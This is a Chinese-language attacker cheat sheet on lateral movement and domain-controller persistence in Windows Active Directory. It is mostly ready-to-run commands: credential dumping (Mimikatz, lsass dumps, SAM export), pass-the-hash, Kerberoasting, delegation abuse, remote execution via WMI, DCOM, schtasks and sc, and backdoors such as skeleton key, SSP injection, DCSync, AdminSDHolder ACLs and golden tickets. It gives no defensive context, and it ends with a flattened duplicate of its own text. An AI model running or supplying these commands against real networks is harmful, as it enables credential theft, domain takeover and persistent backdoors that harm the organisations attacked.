常见横向移动与域控权限维持方法
字数 1759 2025-08-05 12:50:18

横向移动与域控权限维持方法详解

横向移动技术

Pass the Hash (PTH)攻击

基本原理

  • 当获取用户的NTLM hash后,可将其作为凭证进行远程登录
  • 加密方式区分:
    • RC4加密:Pass the Hash
    • AES Key加密:Pass the Key
  • 影响协议:NTLM和Kerberos协议均受影响

Hash获取方法

  1. Meterpreter中的Mimikatz模块

    load mimikatz
    mimikatz_command -f mimikatz的指令
    privilege::debug
    samdump::hashes
    

    或直接获取:

    msv/kerberos/widgst
    
  2. Meterpreter自带模块

    hashdump
    run windows/gather/smart_hashdump  # 推荐
    
  3. 上传Mimikatz远程调用

    • 上传免杀处理的mimikatz.exe到目标机
    • 在cmd中执行mimikatz命令
  4. 使用Procdump获取lsass.dmp

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    传回本地后用Mimikatz分析:

    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    
  5. Cobalt Strike

    hashdump
    mimikatz [mimikatz指令]
    
  6. 利用SAM表

    • 在线读取:
    privilege::debug
    token::elevate
    lsadump::sam
    
    • 离线分析:
    reg save HKLM\SYSTEM SYSTEM
    reg save HKLM\SAM SAM
    

    传回本地后用Mimikatz分析

PTH攻击实施

  1. MSF中的psexec模块

    use exploit/windows/smb/psexec
    set SMBUser Administrator
    set SMBPass [NTLM HASH]
    run
    
  2. Mimikatz

    sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:[hash]
    
  3. Cobalt Strike

    • 使用psexec模块,选择本地hash

MS14-068漏洞利用

  • 影响版本:Server 2000以上
  • 补丁:kb3011780

利用方法

  1. 使用kekeo

    kerberos::purge
    exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt
    
  2. 使用goldenPac

    goldenPac.exe domain/user:password@dc
    

Kerberoast攻击

攻击原理

从TGS-REP中提取加密的服务票证,离线破解SPN账户的明文密码

实施步骤

  1. 获取SPN

    • setspn -q */*
    • 使用GetUserSpns PowerShell脚本
  2. 获取HASH

    • Rubeus.exe: Rubeus.exe kerberoast
    • Mimikatz:
    kerberos::ask /target:SPN
    kerberos::list
    
    • PowerShell:
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN"
    
  3. 导出HASH

    • Mimikatz导出kirbi文件
    • Empire框架导出Hashcat格式
  4. 破解HASH

    • Hashcat: hashcat -m 13110 pass.txt hash.txt
    • tgsrepcrack.py破解kirbi文件
  5. 使用Kerberoast

    python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
    kerberos::ptt PENTESTLAB.kirbi
    

AS_REP Roast攻击

攻击原理

在不开启Kerberos预身份验证的前提下,获得其他用户的AS_RES,破解加密session key的client hash

实施步骤

  1. 获取HASH

    • Rubeus: Rubeus.exe asreproast
    • Empire框架+ASREPRoast.ps1
  2. 破解HASH

    hashcat -m 18200 hash.txt pass.txt
    

委派攻击

委派类型

  1. 非约束性委派

    • 服务A获得用户的TGT,可模拟用户访问任意服务
    • 启用方式:信任此计算机来委派任何服务
  2. 约束性委派

    • 引入S4U2SELF和S4U2PROXY协议
    • 限制委派到指定服务
    • 启用方式:指定允许被委派的服务
  3. 基于资源的约束性委派

    • Windows Server 2012+引入
    • 自身设置可被哪些账户委派访问

非约束性委派攻击

  1. 扫描非约束性委派账户

    • PowerShell:
    Get-NetUser -Unconstrained -Domain domain.com
    Get-NetComputer -Unconstrained -Domain domain.com
    
  2. 攻击实施

    • 在非约束性委派机上使用Mimikatz收集TGT
    privilege::debug
    sekurlsa::tickets /export
    kerberos::ptt [票据文件]
    
  3. 配合Spooler打印机服务

    • 使用SpoolSample强制身份验证
    • Rubeus监听TGT

约束性委派攻击

  1. 扫描约束性委派账户

    • 使用PowerView查找
  2. 攻击实施

    • 使用kekeo:
    tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi
    tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
    kerberos::ptt [票据文件]
    

基于资源的约束性委派攻击

  1. 检查域控版本

    Get-NetDomainController
    
  2. 创建机器账户

    New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)
    
  3. 配置委派

    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)"
    Get-DomainComputer WIN7 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    
  4. 获取服务票据

    • 使用Rubeus或kekeo

其他横向移动技术

CredSSP导出明文密码

  1. 修改注册表

    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
    
  2. 获取密码

    • 使用kekeo:
    tsssp::server
    tsssp::client /target:...
    

tscon横向移动

query user
tscon [ID] /dest:console

COM/DCOM对象利用

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","远程ip")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

IPC$利用

net use \\ip\ipc$ "password" /user:username
dir \\ip\c$

at/schtasks计划任务

at \\ip 17:05:00 cmd.exe /c "命令"
schtasks /create /s ip /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f

sc服务控制

sc \\ip create [servicename] binpath= "[path]"
sc \\ip start [servicename]

WMI远程执行

wmic /node:ip /user:username /password:password process call create "command"
wmiexec.py domain/user:password@ip

WinRM远程管理

winrs -r:ip -u:domain\user -p:password whoami

域控权限维持方法

Hook PasswordChangeNotify

  1. 使用工具

    • Invoke-ReflectivePEInjection.ps1
    • HookPasswordChange.dll
  2. 注入lsass

    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

万能密码

mimikatz# privilege::debug
mimikatz# misc::skeleton

SSP注入

  1. 临时注入

    privilege::debug
    misc::memssp
    
  2. 持久化注入

    • 将mimilib.dll放入System32
    • 修改注册表Security Packages项

SID History后门

sid::patch
sid::add /sam:user /new:administrator

DSRM后门

  1. 设置DSRM密码

    ntdsutil
    reset password on server null
    
  2. 修改登录方式

    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    

委派后门

  • 保存约束性委派的ST2或非约束性委派的TGT
  • 需要时加载进内存

DCSync

lsadump::dcsync /user:xxx /domain:xxxxx /csv

AdminSDHolder后门

Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity user -Rights DCSync

Exchange提权

  • 控制Exchange高权限组用户
  • 利用其DCSync权限

黄金票据

kerberos::golden /user:administrator /domain:domain.com /sid:SID /krbtgt:hash /ptt
横向移动与域控权限维持方法详解 横向移动技术 Pass the Hash (PTH)攻击 基本原理 当获取用户的NTLM hash后,可将其作为凭证进行远程登录 加密方式区分: RC4加密:Pass the Hash AES Key加密:Pass the Key 影响协议:NTLM和Kerberos协议均受影响 Hash获取方法 Meterpreter中的Mimikatz模块 或直接获取: Meterpreter自带模块 上传Mimikatz远程调用 上传免杀处理的mimikatz.exe到目标机 在cmd中执行mimikatz命令 使用Procdump获取lsass.dmp 传回本地后用Mimikatz分析: Cobalt Strike 利用SAM表 在线读取: 离线分析: 传回本地后用Mimikatz分析 PTH攻击实施 MSF中的psexec模块 Mimikatz Cobalt Strike 使用psexec模块,选择本地hash MS14-068漏洞利用 影响版本:Server 2000以上 补丁:kb3011780 利用方法 使用kekeo 使用goldenPac Kerberoast攻击 攻击原理 从TGS-REP中提取加密的服务票证,离线破解SPN账户的明文密码 实施步骤 获取SPN setspn -q */* 使用GetUserSpns PowerShell脚本 获取HASH Rubeus.exe: Rubeus.exe kerberoast Mimikatz: PowerShell: 导出HASH Mimikatz导出kirbi文件 Empire框架导出Hashcat格式 破解HASH Hashcat: hashcat -m 13110 pass.txt hash.txt tgsrepcrack.py破解kirbi文件 使用Kerberoast AS_ REP Roast攻击 攻击原理 在不开启Kerberos预身份验证的前提下,获得其他用户的AS_ RES,破解加密session key的client hash 实施步骤 获取HASH Rubeus: Rubeus.exe asreproast Empire框架+ASREPRoast.ps1 破解HASH 委派攻击 委派类型 非约束性委派 服务A获得用户的TGT,可模拟用户访问任意服务 启用方式:信任此计算机来委派任何服务 约束性委派 引入S4U2SELF和S4U2PROXY协议 限制委派到指定服务 启用方式:指定允许被委派的服务 基于资源的约束性委派 Windows Server 2012+引入 自身设置可被哪些账户委派访问 非约束性委派攻击 扫描非约束性委派账户 PowerShell: 攻击实施 在非约束性委派机上使用Mimikatz收集TGT 配合Spooler打印机服务 使用SpoolSample强制身份验证 Rubeus监听TGT 约束性委派攻击 扫描约束性委派账户 使用PowerView查找 攻击实施 使用kekeo: 基于资源的约束性委派攻击 检查域控版本 创建机器账户 配置委派 获取服务票据 使用Rubeus或kekeo 其他横向移动技术 CredSSP导出明文密码 修改注册表 获取密码 使用kekeo: tscon横向移动 COM/DCOM对象利用 IPC$利用 at/schtasks计划任务 sc服务控制 WMI远程执行 WinRM远程管理 域控权限维持方法 Hook PasswordChangeNotify 使用工具 Invoke-ReflectivePEInjection.ps1 HookPasswordChange.dll 注入lsass 万能密码 SSP注入 临时注入 持久化注入 将mimilib.dll放入System32 修改注册表Security Packages项 SID History后门 DSRM后门 设置DSRM密码 修改登录方式 委派后门 保存约束性委派的ST2或非约束性委派的TGT 需要时加载进内存 DCSync AdminSDHolder后门 Exchange提权 控制Exchange高权限组用户 利用其DCSync权限 黄金票据